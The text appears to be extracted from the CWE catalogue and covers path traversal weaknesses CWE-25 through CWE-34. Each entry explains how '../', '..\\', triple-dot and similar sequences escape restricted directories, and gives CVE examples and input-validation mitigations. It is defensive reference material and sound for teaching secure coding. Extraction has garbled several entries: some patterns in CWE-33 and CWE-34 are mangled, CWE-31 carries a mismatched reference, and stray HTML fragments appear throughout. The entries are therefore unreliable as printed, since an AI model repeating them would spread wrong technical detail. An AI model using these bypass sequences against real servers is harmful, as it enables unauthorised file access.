Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		'../filedir
Software Fault Patterns	SFP16	Path Traversal

# CWE-25: Path Traversal: '/../filedir'

Weakness ID: 25 (Weakness Variant)

Status: Incomplete

## Description

### Summary

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "../" sequences that can resolve to a location that is outside of that directory.

### Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.



Sometimes a program checks for "../" at the beginning of the input, so a "../" can bypass that check.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

**Confidentiality**

**Integrity**

**Read files or directories**

**Modify files or directories**

**Potential Mitigations**

**Implementation**

**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

**Implementation**

**Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		23	Relative Path Traversal	<b>699</b>	40
ChildOf		981	SFP Secondary Cluster: Path Traversal	<b>888</b>	1384

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		'/../filedir

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP16	Path Traversal

## CWE-26: Path Traversal: '/dir/../filename'

Weakness ID: 26 (*Weakness Variant*)

Status: Draft

### Description

#### Summary

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "/dir/../filename" sequences that can resolve to a location that is outside of that directory.

#### Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '/dir/../filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only checks for "../" at the beginning of the input, so a "../.." can bypass that check.

#### Time of Introduction

- Implementation

#### Applicable Platforms

##### Languages

- All

##### Technology Classes

- Web-Server (*Often*)

#### Common Consequences

##### Confidentiality

##### Integrity

Read files or directories

Modify files or directories

#### Potential Mitigations

**Implementation****Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

**Implementation****Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name		Page
ChildOf		23	Relative Path Traversal	<input checked="" type="checkbox"/>	699 1000 40
ChildOf		981	SFP Secondary Cluster: Path Traversal		888 1384

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		'/directory/../../filename
Software Fault Patterns	SFP16	Path Traversal

**CWE-27: Path Traversal: 'dir/../../filename'****Weakness ID:** 27 (*Weakness Variant*)**Status:** Draft**Description****Summary**

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize multiple internal "../" sequences that can resolve to a location that is outside of that directory.

**Extended Description**

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The 'directory/../../filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only removes one "../" sequence, so multiple "../" can bypass that check. Alternately, this manipulation could be used to bypass a check for "../" at the beginning of the pathname, moving up more than one directory level.

#### Time of Introduction

- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Confidentiality

##### Integrity

##### Read files or directories

##### Modify files or directories

#### Observed Examples

Reference	Description
CVE-2002-0298	Server allows remote attackers to cause a denial of service via certain HTTP GET requests containing a %2e%2e (encoded dot-dot), several "../" sequences, or several "../" in a URI.

#### Potential Mitigations

##### Implementation

##### Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator.

Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../..." string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

##### Implementation

##### Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

#### Relationships

Nature	Type	ID	Name	✓	Page
ChildOf	ⓑ	23	Relative Path Traversal	699	40
ChildOf	Ⓒ	981	SFP Secondary Cluster: Path Traversal	1000	1384
				888	

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		'directory/../../filename
Software Fault Patterns	SFP16	Path Traversal

## CWE-28: Path Traversal: '..\filedir'

Weakness ID: 28 (Weakness Variant)

Status: Incomplete

### Description

#### Summary

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "..\" sequences that can resolve to a location that is outside of that directory.

#### Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '..\" manipulation is the canonical manipulation for operating systems that use "\" as directory separators, such as Windows. However, it is also useful for bypassing path traversal protection schemes that only assume that the "/" separator is valid.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- All

#### Operating Systems

- Windows

### Common Consequences

#### Confidentiality

#### Integrity

#### Read files or directories

#### Modify files or directories

### Observed Examples

Reference	Description
CVE-2002-0661	"\" not in blacklist for web server, allowing path traversal attacks when the server is run in Windows and other OSes.
CVE-2002-0946	Arbitrary files may be read files via ..\" (dot dot) sequences in an HTTP request.
CVE-2002-1042	Directory traversal vulnerability in search engine for web server allows remote attackers to read arbitrary files via "..\" sequences in queries.
CVE-2002-1178	Directory traversal vulnerability in servlet allows remote attackers to execute arbitrary commands via "..\" sequences in an HTTP request.
CVE-2002-1209	Directory traversal vulnerability in FTP server allows remote attackers to read arbitrary files via "..\" sequences in a GET request.

### Potential Mitigations

**Implementation**  
**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

**Implementation**  
**Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name		Page
ChildOf		23	Relative Path Traversal	<input checked="" type="checkbox"/>	699 1000 40
ChildOf		981	SFP Secondary Cluster: Path Traversal		888 1384

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		'..\filename' ('dot dot backslash')
Software Fault Patterns	SFP16	Path Traversal

## CWE-29: Path Traversal: '..\filename'

**Weakness ID:** 29 (Weakness Variant) **Status:** Incomplete

**Description**

**Summary**

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '..\filename' (leading backslash dot dot) sequences that can resolve to a location that is outside of that directory.

**Extended Description**

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.



This is similar to CWE-25, except using "\" instead of "/". Sometimes a program checks for "..\" at the beginning of the input, so a "\.\" can bypass that check. It is also useful for bypassing path traversal protection schemes that only assume that the "/" separator is valid.

#### Time of Introduction

- Implementation

#### Applicable Platforms

##### Languages

- All

##### Operating Systems

- Windows

#### Common Consequences

##### Confidentiality

##### Integrity

##### Read files or directories

##### Modify files or directories

#### Observed Examples

Reference	Description
CVE-2002-1987	Protection mechanism checks for "/" but doesn't account for Windows-specific "\." allowing read of arbitrary files.
CVE-2005-2142	Directory traversal vulnerability in FTP server allows remote authenticated attackers to list arbitrary directories via a "\." sequence in an LS command.

#### Potential Mitigations

##### Implementation

##### Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

##### Implementation

##### Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

## Relationships

Nature	Type	ID	Name	V	Page
ChildOf	B	23	Relative Path Traversal	699 1000	40
ChildOf	C	981	SFP Secondary Cluster: Path Traversal	888	1384

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		'..\filename' ('leading dot dot backslash')
Software Fault Patterns	SFP16	Path Traversal

## CWE-30: Path Traversal: '\dir\..\filename'

Weakness ID: 30 (Weakness Variant)

Status: Draft

## Description

## Summary

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '\dir\..\filename' (leading backslash dot dot) sequences that can resolve to a location that is outside of that directory.

## Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

This is similar to CWE-26, except using "\" instead of "/". The '\dir\..\filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only checks for "..\" at the beginning of the input, so a "..\" can bypass that check.

## Time of Introduction

- Implementation

## Applicable Platforms

## Languages

- All

## Operating Systems

- Windows

## Common Consequences

## Confidentiality

## Integrity

## Read files or directories

## Modify files or directories

## Observed Examples

Reference	Description
CVE-2002-1987	Protection mechanism checks for "/.." but doesn't account for Windows-specific "..\" allowing read of arbitrary files.

## Potential Mitigations

**Implementation****Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

**Implementation****Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	<b>B</b>	23	Relative Path Traversal	<b>699</b>	40
ChildOf	<b>C</b>	981	SFP Secondary Cluster: Path Traversal	<b>888</b>	1384

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		7 - \directory\..\filename
Software Fault Patterns	SFP16	Path Traversal

**CWE-31: Path Traversal: 'dir\..\filename'****Weakness ID:** 31 (*Weakness Variant*)**Status:** Draft**Description****Summary**

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize 'dir\..\filename' (multiple internal backslash dot dot) sequences that can resolve to a location that is outside of that directory.

**Extended Description**

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The 'dir\..\filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only removes one "..\" sequence, so multiple "..\" can bypass that check. Alternately, this manipulation could be used to bypass a check for "..\" at the beginning of the pathname, moving up more than one directory level.

#### Time of Introduction

- Implementation

#### Applicable Platforms

##### Languages

- All

##### Operating Systems

- Windows

#### Common Consequences

##### Confidentiality

##### Integrity

##### Read files or directories

##### Modify files or directories

#### Observed Examples

Reference	Description
CVE-2002-0160	The administration function in Access Control Server allows remote attackers to read HTML, Java class, and image files outside the web root via a "..\" sequence in the URL to port 2002.

#### Potential Mitigations

##### Implementation

##### Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../\" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

##### Implementation

##### Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	<b>B</b>	23	Relative Path Traversal	<b>699</b>	40
ChildOf	<b>C</b>	981	SFP Secondary Cluster: Path Traversal	<b>888</b>	1384

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		8 - 'directory\...\filename
Software Fault Patterns	SFP16	Path Traversal

**References**

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 20: Weak Random Numbers." Page 299. McGraw-Hill. 2010.

**CWE-32: Path Traversal: '...' (Triple Dot)****Weakness ID:** 32 (*Weakness Variant*)**Status:** Incomplete**Description****Summary**

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '...' (triple dot) sequences that can resolve to a location that is outside of that directory.

**Extended Description**

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '...' manipulation is useful for bypassing some path traversal protection schemes. On some Windows systems, it is equivalent to "..\" and might bypass checks that assume only two dots are valid. Incomplete filtering, such as removal of "/" sequences, can ultimately produce valid ".." sequences due to a collapse into unsafe value (CWE-182).

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- All

**Common Consequences****Confidentiality****Integrity****Read files or directories****Modify files or directories****Observed Examples**

Reference	Description
CVE-2001-0467	"\..." in web server
CVE-2001-0480	read of arbitrary files and directories using GET or CD with "..." in Windows-based FTP server.
CVE-2001-0615	"..." or "...." in chat server
CVE-2001-0963	"..." in cd command in FTP server
CVE-2001-1131	"..." in cd command in FTP server
CVE-2001-1193	"..." in cd command in FTP server
CVE-2002-0288	read files using "." and Unicode-encoded "/" or "\" characters in the URL.
CVE-2003-0313	Directory listing of web server using "..."
CVE-2005-1658	Triple dot

**Potential Mitigations**

**Implementation****Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

**Implementation****Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name		Page
ChildOf	<b>B</b>	23	Relative Path Traversal	<input checked="" type="checkbox"/>	699 1000 40
ChildOf	<b>C</b>	981	SFP Secondary Cluster: Path Traversal		888 1384

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		'...' (triple dot)
Software Fault Patterns	SFP16	Path Traversal

**Maintenance Notes**

This manipulation-focused entry is currently hiding two distinct weaknesses, so it might need to be split. The manipulation is effective in two different contexts:

it is equivalent to "..\" on Windows, or

it can take advantage of incomplete filtering, e.g. if the programmer does a single-pass removal of "/" in a string (collapse of data into unsafe value, CWE-182).

**CWE-33: Path Traversal: '....' (Multiple Dot)**

Weakness ID: 33 (Weakness Variant)

Status: Incomplete

**Description****Summary**



The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '...' (multiple dot) sequences that can resolve to a location that is outside of that directory.

### Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '...' manipulation is useful for bypassing some path traversal protection schemes. On some Windows systems, it is equivalent to "..\..\.." and might bypass checks that assume only two dots are valid. Incomplete filtering, such as removal of "./" sequences, can ultimately produce valid ".." sequences due to a collapse into unsafe value (CWE-182).

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Confidentiality

#### Integrity

#### Read files or directories

#### Modify files or directories

### Observed Examples

Reference	Description
CVE-1999-1082	read files via "....." in web server (doubled triple dot?)
CVE-2000-0240	read files via "/...../" in URL
CVE-2000-0773	read files via "..." in web server
CVE-2001-0491	multiple attacks using "..", "...", and "..." in different commands
CVE-2001-0615	"..." or "....." in chat server
CVE-2004-2121	read files via "....." in web server (doubled triple dot?)

### Potential Mitigations

**Implementation****Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator.

Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

**Implementation****Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name		Page
ChildOf	<b>B</b>	23	Relative Path Traversal	<input checked="" type="checkbox"/>	699 1000 40
ChildOf	<b>C</b>	981	SFP Secondary Cluster: Path Traversal		888 1384
<i>CanFollow</i>	<b>B</b>	182	<i>Collapse of Data into Unsafe Value</i>		1000 350

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		'.../' (multiple dot)
Software Fault Patterns	SFP16	Path Traversal

**Maintenance Notes**

Like the triple-dot CWE-32, this manipulation probably hides multiple weaknesses that should be made more explicit.

**CWE-34: Path Traversal: '.../'**

Weakness ID: 34 (Weakness Variant)

Status: Incomplete

**Description****Summary**

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '.../' (doubled dot dot slash) sequences that can resolve to a location that is outside of that directory.

## Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '..'/' manipulation is useful for bypassing some path traversal protection schemes. If '..' is filtered in a sequential fashion, as done by some regular expression engines, then '..'/' can collapse into the '..' unsafe value (CWE-182). It could also be useful when '..' is removed, if the operating system treats '/' and '/' as equivalent.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Confidentiality

#### Integrity

#### Read files or directories

#### Modify files or directories

### Detection Methods

#### Automated Static Analysis - Source Code

##### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

#### Architecture / Design Review

##### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Formal Methods / Correct-By-Construction

### Observed Examples

Reference	Description
CVE-2004-1670	Mail server allows remote attackers to create arbitrary directories via a '..' or rename arbitrary files via a '..'/' in user supplied parameters.

### Potential Mitigations

**Implementation**  
**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

**Implementation**  
**Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name	☑	Page
ChildOf	<b>B</b>	23	Relative Path Traversal	<b>699</b>	40
ChildOf	<b>C</b>	981	SFP Secondary Cluster: Path Traversal	<b>888</b>	1384
CanFollow	<b>B</b>	182	<i>Collapse of Data into Unsafe Value</i>	1000	350

**Relationship Notes**

This could occur due to a cleansing error that removes a single "../" from ".../.../"

